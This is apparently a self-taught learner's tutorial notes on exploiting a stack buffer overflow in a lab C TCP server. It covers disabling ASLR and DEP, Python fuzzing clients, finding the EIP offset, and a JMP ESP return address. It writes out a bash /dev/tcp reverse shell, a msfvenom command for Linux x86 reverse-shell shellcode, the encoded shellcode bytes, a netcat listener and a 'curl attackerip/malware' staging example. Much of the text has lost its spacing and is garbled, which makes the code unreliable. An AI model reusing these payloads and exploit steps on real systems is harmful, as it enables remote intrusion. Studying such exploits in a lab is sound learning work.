reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

